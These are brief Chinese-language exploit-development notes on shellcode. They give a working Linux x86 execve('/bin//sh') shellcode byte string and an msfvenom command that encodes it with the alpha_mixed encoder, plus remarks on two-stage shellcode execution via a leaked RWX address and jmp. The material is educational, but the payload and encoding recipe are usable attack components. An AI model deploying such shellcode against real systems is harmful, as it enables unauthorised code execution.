Shellcode汇总

一、shellcode的查找和获取:

二、shellcode的编码:

示例:

1
2
3
#注释头

python -c 'import sys; sys.stdout.write("\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80")' | msfvenom -p - -e x86/alpha_mixed -a linux -f raw -a x86 --platform linux BufferRegister=EAX -o payload
  • ’import sys; sys.stdout.write(“shellcode”)’:这是导入包之后写入编码的shellcode。

  • 由于msfvenom只能从stdin中读取,所以使用Linux管道符”|”来使得shellcode作为python程序的输出。

  • 此外配置编码器为x86/alpha_mixed,配置目标平台架构等信息,输出到文件名为payload的文件中。

  • Shellcode的执行条件一般都是call Register,这里的BufferRegister设置是因为通过指令call eax调用shellcode,所以配置BufferRegister=EAX。最后即可在payload中看到对应的被编码后的代码。

三、shellcode的两段执行:

  • 需要泄露RWX段的地址,读取泄露地址:

  • 需要跳转jmp命令或者是return/call,但是return会pop eip,call会push eip,都会修改掉栈中的内容。如果shellcode的两段执行计算偏移地址的话,可能需要将这两个内容也计算进入。但是jmp就不会需要,是直接无条件跳转,所以大多时候选择jmp比较好。